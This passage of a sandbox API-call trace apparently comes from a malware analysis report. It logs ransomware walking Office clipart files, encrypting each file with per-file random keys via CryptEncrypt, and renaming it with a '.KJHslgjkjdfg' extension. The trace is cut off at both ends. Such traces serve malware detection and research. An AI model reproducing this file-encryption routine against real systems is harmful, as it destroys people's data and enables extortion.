Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.810] GetProcessHeap () returned 0x2a0000 [0160.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.810] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.810] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.810] GetProcessHeap () returned 0x2a0000 [0160.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.810] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.810] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.810] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.812] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.812] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.813] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.813] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa90, lpOverlapped=0x0) returned 1 [0160.813] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90, dwBufLen=0xa90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90) returned 1 [0160.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.813] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa90, lpOverlapped=0x0) returned 1 [0160.813] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.813] SetEndOfFile (hFile=0x114) returned 1 [0160.815] GetProcessHeap () returned 0x2a0000 [0160.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.816] GetProcessHeap () returned 0x2a0000 [0160.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.kjhslgjkjdfg")) returned 1 [0160.817] CloseHandle (hObject=0x114) returned 1 [0160.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0160.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.817] GetProcessHeap () returned 0x2a0000 [0160.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.818] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.820] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.820] GetProcessHeap () returned 0x2a0000 [0160.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.820] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.821] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.823] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x52c, lpOverlapped=0x0) returned 1 [0160.824] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x530, dwBufLen=0x530 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x530) returned 1 [0160.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.824] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x530, lpOverlapped=0x0) returned 1 [0160.826] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.827] SetEndOfFile (hFile=0x114) returned 1 [0160.836] GetProcessHeap () returned 0x2a0000 [0160.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.837] GetProcessHeap () returned 0x2a0000 [0160.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.kjhslgjkjdfg")) returned 1 [0160.838] CloseHandle (hObject=0x114) returned 1 [0160.838] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0160.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.838] GetProcessHeap () returned 0x2a0000 [0160.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.838] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.838] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.840] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.840] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.840] GetProcessHeap () returned 0x2a0000 [0160.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.840] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.841] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.841] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.841] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.841] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.841] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.841] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1efc, lpOverlapped=0x0) returned 1 [0160.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f00, dwBufLen=0x1f00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f00) returned 1 [0160.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.842] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f00, lpOverlapped=0x0) returned 1 [0160.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.842] SetEndOfFile (hFile=0x114) returned 1 [0160.844] GetProcessHeap () returned 0x2a0000 [0160.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.845] GetProcessHeap () returned 0x2a0000 [0160.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.kjhslgjkjdfg")) returned 1 [0160.846] CloseHandle (hObject=0x114) returned 1 [0160.846] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0160.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.847] GetProcessHeap () returned 0x2a0000 [0160.847] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.847] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.848] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.848] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.848] GetProcessHeap () returned 0x2a0000 [0160.848] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.848] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.848] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.848] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.850] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.850] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15b0, lpOverlapped=0x0) returned 1 [0160.851] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15b0) returned 1 [0160.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.851] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15b0, lpOverlapped=0x0) returned 1 [0160.851] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.851] SetEndOfFile (hFile=0x114) returned 1 [0160.853] GetProcessHeap () returned 0x2a0000 [0160.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.853] GetProcessHeap () returned 0x2a0000 [0160.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.kjhslgjkjdfg")) returned 1 [0160.854] CloseHandle (hObject=0x114) returned 1 [0160.862] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0160.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.863] GetProcessHeap () returned 0x2a0000 [0160.863] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.863] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0160.866] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.866] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.866] GetProcessHeap () returned 0x2a0000 [0160.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.866] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.866] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.866] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, 